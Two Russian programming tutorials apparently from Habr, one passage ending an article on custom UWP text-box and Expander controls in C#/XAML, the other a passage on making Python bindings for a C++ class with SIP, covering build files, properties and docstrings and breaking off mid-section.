Получив его, заменяем им шаблон нового элемента управления *ExtendedTextBox*. Не забываем поменять в нужных местах значения атрибутов *TargetType* c *TextBox* на *ExtendedTextBox*.
*Исправленная разметка нового элемента управления*
Теперь элемент управления *ExtendedTextBox* является точной копией элемента управления *TeBox*, повторяя как его внешний вид, так и функционал.
*Новый элемент управления повторяет внешний вид TextBox*
**Приступим к расширению функционала.**
1. Добавим визуальный индикатор, сообщающий, является ли поле ввода обязательным к заполнению.
Находим в шаблоне разметки часть ответствунную за *Header* и изменяем её следующим образом:
```
```
Внедрение в разметку индикатора “\*”
Параллельно с этим в файле ExtendedTextBox.cs вносим следующие изменения
```
public sealed class ExtendedTextBox : TextBox
{
private TextBlock _necessityIndicatorTextBlock;
public ExtendedTextBox()
{
this.DefaultStyleKey = typeof(ExtendedTextBox);
}
protected override void OnApplyTemplate()
{
base.OnApplyTemplate();
_necessityIndicatorTextBlock = GetTemplateChild("NecessityIndicatorTextBlock") as TextBlock;
UpdateControl();
}
public bool IsNecessarily
{
get => (bool)GetValue(IsNecessarilyProperty);
set => SetValue(IsNecessarilyProperty, value);
}
public static readonly DependencyProperty IsNecessarilyProperty =
DependencyProperty.Register("IsNecessarily", typeof(bool), typeof(ExtendedTextBox), new PropertyMetadata(false, IsNecessarilyPropertyChanged));
private static void IsNecessarilyPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var textbox = d as ExtendedTextBox;
if (textbox == null || !(e.NewValue is bool))
{
return;
}
textbox.UpdateNecessityIndicator();
}
private void UpdateControl()
{
UpdateNecessityIndicator();
}
private void UpdateNecessityIndicator()
{
if (_necessityIndicatorTextBlock != null)
{
_necessityIndicatorTextBlock.Visibility = IsNecessarily ? Visibility.Visible : Visibility.Collapsed;
}
}
}
```
Состояние класса *ExtendedTextBox*
Здесь обратим внимание на следующее:
* Переопределяем метод *OnApplyTemplate()* и находим ссылки на элементы разметки по заданным *x:Name* для дальнейшей работы с ними
* Определяем свойство зависимости *IsNecessarily*, определяющее является ли данное поле ввода обязательным к заполнению, и его *PropertyChangedCallback IsNecessarilyPropertyChanged* в теле которого обновляем видимость данного индикатора.
**Важно**. Стоит обратить внимание на то, что при инициализации элемента управления *PropertyChangedCallback*-функции могут выполняться раньше, чем вызовется метод *OnApplyTemplate()*. Из-за чего мы получаем ситуацию, когда в момент выполнения данных функций дерево элемента ещё не загруженно и целевые объекты не найдены. По этой причине необходимо в конце метода *OnApplyTemplate()* привести состояние элемента управления в корректное. Здесь это выполняет метод *UpdateControl()*.
Теперь если задать значение свойства *IsNecessarily* как true мы получим следующий результат.
*Индикатор обязательности *ExtendedTextBox**
2. Займемся логикой валидации введенных данных по заданому шаблону *Regex*.
Определим следующее:
* Свойство зависимости *RegexPattern* и его *CallBack*-функцию *RegexPatternPropertyChanged*
* Свойство зависимости *IsValid* c приватным set-аксессором.
* *Метод ValidateTextBox()* вызываемый при изменении свойств *RegexPattern* или Text.
И внесем ещё несколько изменений в код класса в результате чего он станет выглядеть следующим образом
```
public sealed class ExtendedTextBox : TextBox
{
private TextBlock _necessityIndicatorTextBlock;
public ExtendedTextBox() ...
protected override void OnApplyTemplate()
{
base.OnApplyTemplate();
this.TextChanged -= ExtendedTextBoxTextChanged;
_necessityIndicatorTextBlock = GetTemplateChild("NecessityIndicatorTextBlock") as TextBlock;
this.TextChanged += ExtendedTextBoxTextChanged;
UpdateControl();
}
private void ExtendedTextBoxTextChanged(object sender, TextChangedEventArgs e)
{
ValidateTextBox();
}
//public bool IsNecessarily ...
//public static readonly DependencyProperty IsNecessarilyProperty = ...
//private static void IsNecessarilyPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) ...
public string RegexPattern
{
get { return (string)GetValue(RegexPatternProperty); }
set { SetValue(RegexPatternProperty, value); }
}
public static readonly DependencyProperty RegexPatternProperty =
DependencyProperty.Register("RegexPattern", typeof(string), typeof(ExtendedTextBox), new PropertyMetadata(string.Empty, RegexPatternPropertyChanged));
private static void RegexPatternPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var textbox = d as ExtendedTextBox;
if (textbox == null || !(e.NewValue is string))
{
return;
}
textbox.ValidateTextBox();
}
private void ValidateTextBox()
{
IsValid = Regex.IsMatch(Text, RegexPattern);
if (this.Text.Length == 0 || !this.IsValid.HasValue)
{
VisualStateManager.GoToState(this, "Indeterminate", true);
return;
}
VisualStateManager.GoToState(this, this.IsValid.Value ? "Valid" : "Invalid", true);
}
public bool? IsValid
{
get { return (bool?)GetValue(IsValidProperty); }
private set { SetValue(IsValidProperty, value); }
}
public static readonly DependencyProperty IsValidProperty =
DependencyProperty.Register("IsValid", typeof(bool?), typeof(ExtendedTextBox), new PropertyMetadata(default(bool?)));
private void UpdateControl()
{
UpdateNecessityIndicator();
ValidateTextBox();
}
//private void UpdateNecessityIndicator() ...
}
```
Состояние класса *ExtendedTextBox* после добавления логики валидации
**Важно.** Ввиду того, что изменение шаблона элемента управления возможно во время исполнения необходимо с осторожностью подходить к подпискам на события в методе *OnApplyTemplate()*. Так, одной из практик устранения лишних прослушиваний изменений свойств при изменении шаблонов является отписка от событий с последующей переподпиской в теле данного метода.
Также обратим внимание на тело метода *ValidateTextBox()* который в зависимости от состояния валидности вызывает метод класса *VisualStateManager* переводящий визуальное состояние элемента управления в одно из трех состояний на которые мы ссылаемся, но ещё не определили в разметке шаблона.
Первым делом несколько расширим разметку строения элемента управления
```
```
Расширение *Grid* и добавление картинки-индикатора валидности
И добавим нужные визуальные состояния с описанием их логики.
```
```
*Новая визуальная группа *ValidStates**
Теперь мы можем создать следующую страницу ввода данных
*Страница ввода данных*
В заключение данного примера обратим внимание, что объем кода в файла *ExtendedTextBox.cs* хоть и не очень большой, но в перспективе, в случае дальнешего расширения логики элемента управления, может доставлять определенные неудобства в ориентации по файлу.
Чтобы свести такие неудоства к минимуму предлагаем воспользоваться частичными (*partial*) классами и создать по собственному усмотрению дополнительные файлы с декларациями строения класса.
Например, следующим образом:
*Строение проекта при разделении деклараций элементов управления на частичные*
*Вид файлов содержащих частичные декларации элемента управления*
На этом закончим работу с данным элементом управления. Аналогичным образом мы можем расширять логику, внешний вид, добавить дополнительные свойства зависимости для лучшей параметризации (например, свойствами *ValidImageSource* и *InvalidImageSource*)
**Создание нового элемента управления**
В данном пункте мы рассмотрим процесс создания нового элемента управления с нуля. Принципиально этот процесс ничем не отличается от того, что мы делали в предыдущем пункте.
В качестве примера рассмотрим полезный но не вошедший в поставку UWP элемент управления *Expander*.
```
public partial class Expander
{
public static readonly DependencyProperty HeaderProperty =
DependencyProperty.Register(nameof(Header), typeof(string), typeof(Expander), new PropertyMetadata(null));
public static readonly DependencyProperty IsExpandedProperty =
DependencyProperty.Register(nameof(IsExpanded), typeof(bool), typeof(Expander), new PropertyMetadata(false, OnIsExpandedPropertyChanged));
public string Header
{
get { return (string)GetValue(HeaderProperty); }
set { SetValue(HeaderProperty, value); }
}
public bool IsExpanded
{
get { return (bool)GetValue(IsExpandedProperty); }
set { SetValue(IsExpandedProperty, value); }
}
}
```
*Свойства зависимости элемента управления *Expander**
```
public sealed partial class Expander : ContentControl
{
public Expander()
{
this.DefaultStyleKey = typeof(Expander);
}
protected override void OnApplyTemplate()
{
base.OnApplyTemplate();
if (IsExpanded)
{
VisualStateManager.GoToState(this, "Expanded", true);
}
}
private void ExpandControl()
{
VisualStateManager.GoToState(this, "Expanded", true);
}
private void CollapseControl()
{
VisualStateManager.GoToState(this, "Collapsed", true);
}
private static void OnIsExpandedPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var expander = d as Expander;
bool isExpanded = (bool)e.NewValue;
if (isExpanded)
{
expander.ExpandControl();
}
else
{
expander.CollapseControl();
}
}
}
```
*Основная часть элемента управления *Expander**
Здесь обратим внимание на то, что у *Expander* предполагается наличие контента который может быть чем угодно. Ввиду этого имеет смысл наследовать его не от класса Control а от расширяющего его класса *ContentControl* чтобы сразу получить функционал работы со свойством *Content*.
```
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="controls:Expander">
<Grid>
<VisualStateManager.VisualStateGroups>
<VisualStateGroup x:Name="ExpandedStates">
<VisualState x:Name="Expanded">
<VisualState.Setters>
<Setter Target="MainContent.Visibility" Value="Visible" />
</VisualState.Setters>
</VisualState>
<VisualState x:Name="Collapsed" />
</VisualStateGroup>
</VisualStateManager.VisualStateGroups>
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
</Grid.RowDefinitions>
<ToggleButton x:Name="ExpanderToggleButton" Height="40"
HorizontalContentAlignment="Left"
HorizontalAlignment="Stretch"
Foreground="{TemplateBinding Foreground}"
Content="{TemplateBinding Header}"
IsChecked="{Binding IsExpanded, Mode=TwoWay, RelativeSource={RelativeSource TemplatedParent}}" />
<ContentPresenter Grid.Row="1" x:Name="MainContent"
Background="{TemplateBinding Background}"
HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}"
HorizontalContentAlignment="Stretch"
VerticalAlignment="{TemplateBinding VerticalContentAlignment}"
Visibility="Collapsed" />
</Grid>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
```
*Шаблон разметки элемента управления *Expander**
Интересным местом в данной разметке является свойство *IsChecked* элемента управления *ToggleButton* а именно то, каким образом мы его привязываем к свойству *IsExpanded* родительского элемента. Такой способ привязки обусловлен тем, что *TemplateBinding* не предоставляет свойство *Mode* которое будучи установленным в значение *TwoWay* должно влиять на состояние *Expander*.
В данных статьях мы подробно рассмотрели средства [расширения](https://habrahabr.ru/company/mobile_dimension/blog/330480/), [изменения](https://habrahabr.ru/company/mobile_dimension/blog/332630/) и создания элементов управления на платформе UWP. Надеемся, что материалы показались вам интересными и полезными.
В следующих статьях мы рассмотрим вопросы оптимизации процесса **разработки** на UWP.
Если что-то было по вашему мнению освещено недостаточно подробно — с удовольствием ответим на все вопросы в комментариях!
Ян Мороз, старший .NET разработчик | https://habr.com/ru/post/335240/ | null | ru | null |
# Создание Python-обвязки для библиотек, написанных на C/C++, с помощью SIP. Часть 2
В [первой части](https://habr.com/ru/post/495480/) статьи мы рассмотрели основы работы с утилитой SIP, предназначенной для создания Python-обвязок (Python bindings) для библиотек, написанных на языках C и C++. Мы рассмотрели основные файлы, которые нужно создать для работы с SIP и начали рассматривать директивы и аннотации. До сих пор мы делали обвязку для простой библиотеки, написанной на языке C. В этой части мы разберемся, как делать обвязку для библиотеки на языке C++, которая содержит классы. На примере этой библиотеки мы посмотрим, какие приемы могут быть полезны при работе с объектно-ориентированной библиотекой, а заодно разберемся с новыми для нас директивами и аннотациями.
Все примеры для статьи доступны в репозитории на github по ссылке: <https://github.com/Jenyay/sip-examples>.
Делаем обвязку для библиотеки на языке C++
------------------------------------------
Следующий пример, который мы будем рассматривать, находится в папке *pyfoo\_cpp\_01*.
Для начала создадим библиотеку, для которой мы будем делать обвязку. Библиотека будет по-прежнему располагаться в папке *foo* и содержать один класс — *Foo*. Заголовочный файл *foo.h* с объявлением этого класса выглядит следующим образом:
```
#ifndef FOO_LIB
#define FOO_LIB
class Foo {
private:
int _int_val;
char* _string_val;
public:
Foo(int int_val, const char* string_val);
virtual ~Foo();
void set_int_val(int val);
int get_int_val();
void set_string_val(const char* val);
char* get_string_val();
};
#endif
```
Это простой класс с двумя геттерами и сеттерами, устанавливающие и возвращающие значения типа *int* и *char\**. Реализация класса выглядит следующим образом:
```
#include
#include "foo.h"
Foo::Foo(int int\_val, const char\* string\_val): \_int\_val(int\_val) {
\_string\_val = nullptr;
set\_string\_val(string\_val);
}
Foo::~Foo(){
delete[] \_string\_val;
\_string\_val = nullptr;
}
void Foo::set\_int\_val(int val) {
\_int\_val = val;
}
int Foo::get\_int\_val() {
return \_int\_val;
}
void Foo::set\_string\_val(const char\* val) {
if (\_string\_val != nullptr) {
delete[] \_string\_val;
}
auto count = strlen(val) + 1;
\_string\_val = new char[count];
strcpy(\_string\_val, val);
}
char\* Foo::get\_string\_val() {
return \_string\_val;
}
```
Для проверки работоспособности библиотеки в папке *foo* также содержится файл *main.cpp*, использующий класс *Foo*:
```
#include
#include "foo.h"
using std::cout;
using std::endl;
int main(int argc, char\* argv[]) {
auto foo = Foo(10, "Hello");
cout << "int\_val: " << foo.get\_int\_val() << endl;
cout << "string\_val: " << foo.get\_string\_val() << endl;
foo.set\_int\_val(0);
foo.set\_string\_val("Hello world!");
cout << "int\_val: " << foo.get\_int\_val() << endl;
cout << "string\_val: " << foo.get\_string\_val() << endl;
}
```
Для сборки библиотеки *foo* используется следующий *Makefile*:
```
CC=g++
CFLAGS=-c -fPIC
DIR_OUT=bin
all: main
main: main.o libfoo.a
$(CC) $(DIR_OUT)/main.o -L$(DIR_OUT) -lfoo -o $(DIR_OUT)/main
main.o: makedir main.cpp
$(CC) $(CFLAGS) main.cpp -o $(DIR_OUT)/main.o
libfoo.a: makedir foo.cpp
$(CC) $(CFLAGS) foo.cpp -o $(DIR_OUT)/foo.o
ar rcs $(DIR_OUT)/libfoo.a $(DIR_OUT)/foo.o
makedir:
mkdir -p $(DIR_OUT)
clean:
rm -rf $(DIR_OUT)/*
```
Отличие от *Makefile* в предыдущих примерах, помимо изменение компилятора с *gcc* на *g++*, заключается в том, что для компиляции был добавлен еще один параметр *-fPIC*, который указывает компилятору размещать код в библиотеке определенным образом (так называемый «позиционно-независимый код»). Поскольку эта статья не про компиляторы, то не будем более подробно разбираться с тем, что этот параметр делает и зачем он нужен.
Начнем делать обвязку для этой библиотеки. Файлы *pyproject.toml* и *project.py* почти не изменятся по сравнению с предыдущими примерами. Вот как теперь выглядит файл *pyproject.toml*:
```
[build-system]
requires = ["sip >=5, <6"]
build-backend = "sipbuild.api"
[tool.sip.metadata]
name = "pyfoocpp"
version = "0.1"
license = "MIT"
[tool.sip.bindings.pyfoocpp]
headers = ["foo.h"]
libraries = ["foo"]
```
Теперь наши примеры, написанные на языке C++ будут упаковываться в Python-пакет *pyfoocpp*, это, пожалуй, единственное заметное изменение в этом файле.
Файл *project.py* остался такой же, как и в примере *pyfoo\_c\_04*:
```
import os
import subprocess
from sipbuild import Project
class FooProject(Project):
def _build_foo(self):
cwd = os.path.abspath('foo')
subprocess.run(['make'], cwd=cwd, capture_output=True, check=True)
def build(self):
self._build_foo()
super().build()
def build_sdist(self, sdist_directory):
self._build_foo()
return super().build_sdist(sdist_directory)
def build_wheel(self, wheel_directory):
self._build_foo()
return super().build_wheel(wheel_directory)
def install(self):
self._build_foo()
super().install()
```
А вот файл *pyfoocpp.sip* мы рассмотрим более подробно. Напомню, что этот файл описывает интерфейс для будущего Python-модуля: что он должен в себя включать, как должен выглядеть интерфейс классов и т.д. Файл .sip не обязан повторять заголовочный файл библиотеки, хоть у них и будет много общего. Внутри этого класса могут добавляться новые методы, которых не было в исходном классе. Т.е. интерфейс, описанный в файле .sip может подстраивать классы библиотеки под принципы, принятые в языке Python, если это необходимо. В файле *pyfoocpp.sip* мы увидим новые для нас директивы.
Для начала посмотрим, что этот файл содержит:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
class Foo {
%TypeHeaderCode
#include
%End
public:
Foo(int, const char\*);
void set\_int\_val(int);
int get\_int\_val();
void set\_string\_val(const char\*);
char\* get\_string\_val();
};
```
Первые строки нам уже должны быть понятны по предыдущим примерам. В директиве *%Module* мы указываем имя Python-модуля, который будет создан (т.е. для использования этого модуля мы должны будем использовать команды *import foocpp* или *from foocpp import ...*. В этой же директиве мы указываем, что язык у нас теперь — C++. Директива *%DefaultEncoding* задает кодировку, которая будет использоваться для преобразования строки Python в типы *char*, *const char*, *char\** и *const char\**.
Затем следует объявление интерфейса класса *Foo*. Сразу после объявления класса *Foo* встречается не используемая до сих пор директива *%TypeHeaderCode*, которая заканчивается директивой *%End*. Директива *%TypeHeaderCode* должна содержать код, объявляющий интерфейс класса C++, для которого создается обертка. Как правило, в этой директиве достаточно подключить заголовочный файл с объявлением класса.
После этого перечислены методы класса, которые будут преобразованы в методы класса *Foo* для языка Python. Важно отметить, что в этом месте мы объявляем только публичные методы, которые будут доступны из класса *Foo* в Python (поскольку в Python нет приватных и защищенных членов). Поскольку мы в самом начале использовали директиву *%DefaultEncoding*, то в методах, принимающих аргументы типа *const char\**, можно не использовать аннотацию *Encoding* для указания кодировки для преобразования этих параметров в строки Python и обратно.
Теперь нам остается собрать Python-пакет *pyfoocpp* и проверить его. Но прежде чем собирать полноценный wheel-пакет, давайте воспользуемся командой *sip-build* и посмотрим, какие исходные файлы для последующей компиляции создаст SIP, и попытаемся найти в них что-то похожее на тот класс, который будет создаваться в коде на языке Python. Для этого вышеуказанную команду *sip-build* нужно вызвать в папке *pyfoo\_cpp\_01*. В результате будет создана папка *build* со следующим содержимым:
```
build
└── foocpp
├── apiversions.c
├── array.c
├── array.h
├── bool.cpp
├── build
│ └── temp.linux-x86_64-3.8
│ ├── apiversions.o
│ ├── array.o
│ ├── bool.o
│ ├── descriptors.o
│ ├── int_convertors.o
│ ├── objmap.o
│ ├── qtlib.o
│ ├── sipfoocppcmodule.o
│ ├── sipfoocppFoo.o
│ ├── siplib.o
│ ├── threads.o
│ └── voidptr.o
├── descriptors.c
├── foocpp.cpython-38-x86_64-linux-gnu.so
├── int_convertors.c
├── objmap.c
├── qtlib.c
├── sipAPIfoocpp.h
├── sipfoocppcmodule.cpp
├── sipfoocppFoo.cpp
├── sip.h
├── sipint.h
├── siplib.c
├── threads.c
└── voidptr.c
```
В качестве дополнительного задания рассмотрите внимательнее файл *sipfoocppFoo.cpp* (мы его не будем подробно обсуждать в этой статье):
```
/*
* Interface wrapper code.
*
* Generated by SIP 5.1.1
*/
#include "sipAPIfoocpp.h"
#line 6 "/home/jenyay/temp/2/pyfoocpp.sip"
#include
#line 12 "/home/jenyay/temp/2/build/foocpp/sipfoocppFoo.cpp"
PyDoc\_STRVAR(doc\_Foo\_set\_int\_val, "set\_int\_val(self, int)");
extern "C" {static PyObject \*meth\_Foo\_set\_int\_val(PyObject \*, PyObject \*);}
static PyObject \*meth\_Foo\_set\_int\_val(PyObject \*sipSelf, PyObject \*sipArgs)
{
PyObject \*sipParseErr = SIP\_NULLPTR;
{
int a0;
::Foo \*sipCpp;
if (sipParseArgs(&sipParseErr, sipArgs, "Bi", &sipSelf, sipType\_Foo, &sipCpp, &a0))
{
sipCpp->set\_int\_val(a0);
Py\_INCREF(Py\_None);
return Py\_None;
}
}
/\* Raise an exception if the arguments couldn't be parsed. \*/
sipNoMethod(sipParseErr, sipName\_Foo, sipName\_set\_int\_val, doc\_Foo\_set\_int\_val);
return SIP\_NULLPTR;
}
PyDoc\_STRVAR(doc\_Foo\_get\_int\_val, "get\_int\_val(self) -> int");
extern "C" {static PyObject \*meth\_Foo\_get\_int\_val(PyObject \*, PyObject \*);}
static PyObject \*meth\_Foo\_get\_int\_val(PyObject \*sipSelf, PyObject \*sipArgs)
{
PyObject \*sipParseErr = SIP\_NULLPTR;
{
::Foo \*sipCpp;
if (sipParseArgs(&sipParseErr, sipArgs, "B", &sipSelf, sipType\_Foo, &sipCpp))
{
int sipRes;
sipRes = sipCpp->get\_int\_val();
return PyLong\_FromLong(sipRes);
}
}
/\* Raise an exception if the arguments couldn't be parsed. \*/
sipNoMethod(sipParseErr, sipName\_Foo, sipName\_get\_int\_val, doc\_Foo\_get\_int\_val);
return SIP\_NULLPTR;
}
PyDoc\_STRVAR(doc\_Foo\_set\_string\_val, "set\_string\_val(self, str)");
extern "C" {static PyObject \*meth\_Foo\_set\_string\_val(PyObject \*, PyObject \*);}
static PyObject \*meth\_Foo\_set\_string\_val(PyObject \*sipSelf, PyObject \*sipArgs)
{
PyObject \*sipParseErr = SIP\_NULLPTR;
{
const char\* a0;
PyObject \*a0Keep;
::Foo \*sipCpp;
if (sipParseArgs(&sipParseErr, sipArgs, "BA8", &sipSelf, sipType\_Foo, &sipCpp, &a0Keep, &a0))
{
sipCpp->set\_string\_val(a0);
Py\_DECREF(a0Keep);
Py\_INCREF(Py\_None);
return Py\_None;
}
}
/\* Raise an exception if the arguments couldn't be parsed. \*/
sipNoMethod(sipParseErr, sipName\_Foo, sipName\_set\_string\_val, doc\_Foo\_set\_string\_val);
return SIP\_NULLPTR;
}
PyDoc\_STRVAR(doc\_Foo\_get\_string\_val, "get\_string\_val(self) -> str");
extern "C" {static PyObject \*meth\_Foo\_get\_string\_val(PyObject \*, PyObject \*);}
static PyObject \*meth\_Foo\_get\_string\_val(PyObject \*sipSelf, PyObject \*sipArgs)
{
PyObject \*sipParseErr = SIP\_NULLPTR;
{
::Foo \*sipCpp;
if (sipParseArgs(&sipParseErr, sipArgs, "B", &sipSelf, sipType\_Foo, &sipCpp))
{
char\*sipRes;
sipRes = sipCpp->get\_string\_val();
if (sipRes == SIP\_NULLPTR)
{
Py\_INCREF(Py\_None);
return Py\_None;
}
return PyUnicode\_FromString(sipRes);
}
}
/\* Raise an exception if the arguments couldn't be parsed. \*/
sipNoMethod(sipParseErr, sipName\_Foo, sipName\_get\_string\_val, doc\_Foo\_get\_string\_val);
return SIP\_NULLPTR;
}
/\* Call the instance's destructor. \*/
extern "C" {static void release\_Foo(void \*, int);}
static void release\_Foo(void \*sipCppV, int)
{
delete reinterpret\_cast< ::Foo \*>(sipCppV);
}
extern "C" {static void dealloc\_Foo(sipSimpleWrapper \*);}
static void dealloc\_Foo(sipSimpleWrapper \*sipSelf)
{
if (sipIsOwnedByPython(sipSelf))
{
release\_Foo(sipGetAddress(sipSelf), 0);
}
}
extern "C" {static void \*init\_type\_Foo(sipSimpleWrapper \*, PyObject \*,
PyObject \*, PyObject \*\*, PyObject \*\*, PyObject \*\*);}
static void \*init\_type\_Foo(sipSimpleWrapper \*, PyObject \*sipArgs, PyObject \*sipKwds,
PyObject \*\*sipUnused, PyObject \*\*, PyObject \*\*sipParseErr)
{
::Foo \*sipCpp = SIP\_NULLPTR;
{
int a0;
const char\* a1;
PyObject \*a1Keep;
if (sipParseKwdArgs(sipParseErr, sipArgs, sipKwds, SIP\_NULLPTR, sipUnused, "iA8", &a0, &a1Keep, &a1))
{
sipCpp = new ::Foo(a0,a1);
Py\_DECREF(a1Keep);
return sipCpp;
}
}
{
const ::Foo\* a0;
if (sipParseKwdArgs(sipParseErr, sipArgs, sipKwds, SIP\_NULLPTR, sipUnused, "J9", sipType\_Foo, &a0))
{
sipCpp = new ::Foo(\*a0);
return sipCpp;
}
}
return SIP\_NULLPTR;
}
static PyMethodDef methods\_Foo[] = {
{sipName\_get\_int\_val, meth\_Foo\_get\_int\_val, METH\_VARARGS, doc\_Foo\_get\_int\_val},
{sipName\_get\_string\_val, meth\_Foo\_get\_string\_val, METH\_VARARGS, doc\_Foo\_get\_string\_val},
{sipName\_set\_int\_val, meth\_Foo\_set\_int\_val, METH\_VARARGS, doc\_Foo\_set\_int\_val},
{sipName\_set\_string\_val, meth\_Foo\_set\_string\_val, METH\_VARARGS, doc\_Foo\_set\_string\_val}
};
PyDoc\_STRVAR(doc\_Foo, "\1Foo(int, str)\n"
"Foo(Foo)");
sipClassTypeDef sipTypeDef\_foocpp\_Foo = {
{
-1,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_TYPE\_CLASS,
sipNameNr\_Foo,
SIP\_NULLPTR,
SIP\_NULLPTR
},
{
sipNameNr\_Foo,
{0, 0, 1},
4, methods\_Foo,
0, SIP\_NULLPTR,
0, SIP\_NULLPTR,
{SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR,
SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR, SIP\_NULLPTR},
},
doc\_Foo,
-1,
-1,
SIP\_NULLPTR,
SIP\_NULLPTR,
init\_type\_Foo,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
dealloc\_Foo,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
release\_Foo,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR,
SIP\_NULLPTR
};
```
Теперь соберем пакет с помощью команды *sip-wheel*. После выполнения этой команды, если все пройдет успешно, будет создан файл *pyfoocpp-0.1-cp38-cp38-manylinux1\_x86\_64.whl* или с похожим именем. Установим его с помощью команды *pip install --user pyfoocpp-0.1-cp38-cp38-manylinux1\_x86\_64.whl* и запустим интерпретатор Python для проверки:
```
>>> from foocpp import Foo
>>> x = Foo(10, 'Hello')
>>> x.get_int_val()
10
>>> x.get_string_val()
'Hello'
>>> x.set_int_val(50)
>>> x.set_string_val('Привет')
>>> x.get_int_val()
50
>>> x.get_string_val()
'Привет'
```
Работает! Таким образом, мы с вами только что сделали Python-модуль с обвязкой для класса на C++. Дальше будем наводить в этом классе красоту и добавлять разные удобства.
Добавляем свойства
------------------
Классы, созданные с помощью SIP не обязаны в точности повторять интерфейс классов C++. Например, в нашем классе *Foo* имеется два геттера и два сеттера, которые явно можно объединить в свойство, чтобы класс стал более «питоновским». Добавить свойства с помощью сип достаточно легко, как это делается, показывает пример в папке *pyfoo\_cpp\_02*.
Этот пример аналогичен предыдущему, главное отличие заключается в файле *pyfoocpp.sip*, который теперь выглядит следующим образом:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
class Foo {
%TypeHeaderCode
#include
%End
public:
Foo(int, const char\*);
void set\_int\_val(int);
int get\_int\_val();
%Property(name=int\_val, get=get\_int\_val, set=set\_int\_val)
void set\_string\_val(const char\*);
char\* get\_string\_val();
%Property(name=string\_val, get=get\_string\_val, set=set\_string\_val)
};
```
Как видите, все достаточно просто. Чтобы добавить свойство, предназначена директива [%Property](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#property), у которой имеется два обязательных параметра: *name* для задания имени свойства, а также *get* для указания метода, который возвращает какое-либо значение (геттер). Сеттера может не быть, но если свойству нужно также присваивать значения, то метод-сеттер указывается в качестве значения параметра *set*. В нашем примере свойства создаются достаточно прямолинейно, поскольку уже имеются функции, работающие как геттеры и сеттеры.
Нам остается только лишь собрать пакет с помощью команды *sip-wheel*, установить его, после этого проверим работу свойств в командном режиме интерпретатора python:
```
>>> from foocpp import Foo
>>> x = Foo(10, "Hello")
>>> x.int_val
10
>>> x.string_val
'Hello'
>>> x.int_val = 50
>>> x.string_val = 'Привет'
>>> x.get_int_val()
50
>>> x.get_string_val()
'Привет'
```
Как видно из примера использования класса *Foo*, свойства *int\_val* и *string\_val* работают и на чтение, и на запись.
Добавляем строки документации
-----------------------------
Продолжим улучшать наш класс *Foo*. Следующий пример, который расположен в папке *pyfoo\_cpp\_03* показывает, как добавлять к различным элементам класса строки документации (docstring). Этот пример сделан на основе предыдущего, и главное изменение в нем касается файла *pyfoocpp.sip*. Вот его содержимое:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
class Foo {
%Docstring
Class example from C++ library
%End
%TypeHeaderCode
#include
%End
public:
Foo(int, const char\*);
void set\_int\_val(int);
%Docstring(format="deindented", signature="prepended")
Set integer value
%End
int get\_int\_val();
%Docstring(format="deindented", signature="prepended")
Return integer value
%End
%Property(name=int\_val, get=get\_int\_val, set=set\_int\_val)
{
%Docstring "deindented"
The property for integer value
%End
};
void set\_string\_val(const char\*);
%Docstring(format="deindented", signature="appended")
Set string value
%End
char\* get\_string\_val();
%Docstring(format="deindented", signature="appended")
Return string value
%End
%Property(name=string\_val, get=get\_string\_val, set=set\_string\_val)
{
%Docstring "deindented"
The property for string value
%End
};
};
```
Как вы уже поняли, для того, чтобы добавить строки документации к какому-либо элементу класса, нужно воспользоваться директивой [%Docstring](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#docstring). В этом примере показано несколько способов использования этой директивы. Для лучшего понимания этого примера давайте сразу скомпилируем пакет *pyfoocpp* с помощью команды *sip-wheel*, установим его и будем последовательно разбираться с тем, какой параметр этой директивы на что влияет, рассматривая получившиеся строки документации в командном режиме Python. Напомню, что строки документации сохраняются в члены *\_\_doc\_\_* объектов, к которым относятся эти строки.
Первая строка документации относится к классу *Foo*. Как вы видите, все строки документации расположены между директивами *%Docstring* и *%End*. В строках 5-7 этого примера не используются никакие дополнительные параметры директивы *%Docstring*, поэтому строка документации будет записана в класс *Foo* как есть. Именно поэтому в строках 5-7 нет отступов, иначе отступы перед строкой документации тоже попали бы в Foo.\_\_doc\_\_. Убедимся в том, что класс *Foo* действительно содержит ту строку документации, которую мы ввели:
```
>>> from foocpp import Foo
>>> Foo.__doc__
'Class example from C++ library'
```
Следующая директива *%Docstring*, расположенная на 17-19 строках, использует сразу два параметра. Параметр *format* может принимать одно из двух значений: «raw» или «deindented». В первом случае строки документации сохраняются в том виде, как они записаны, а во втором — удаляются начальные символы пробелов (но не табуляции). Значение по умолчанию для случая, если параметр *format* не указан, можно задать с помощью директивы [%DefaultDocstringFormat](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#std:directive-%DefaultDocstringFormat) (мы ее рассмотрим чуть позже), а если она не указана, то считается, что *format=«raw»*.
Помимо заданных строк документации, SIP добавляет к строкам документации функций описание ее сигнатуры (какие типы переменных ожидаются на входе и какой тип функция возвращает). Параметр *signature* указывает, куда помещать такую сигнатуру: до указанной строки документации (*signature=«prepended»*), после нее (*signature=«appended»*) или не добавлять сигнатуру (*signature=«discarded»*).
Наш пример устанавливает параметр *signature=«prepended»* для функций *get\_int\_val* и *set\_int\_val*, а также *signature=«appended»* для функций *get\_string\_val* и *set\_string\_val*. Также был добавлен параметр *format=«deindented»* для того, чтобы удалить пробелы в начале строки документации. Проверим работу этих параметров в Python:
```
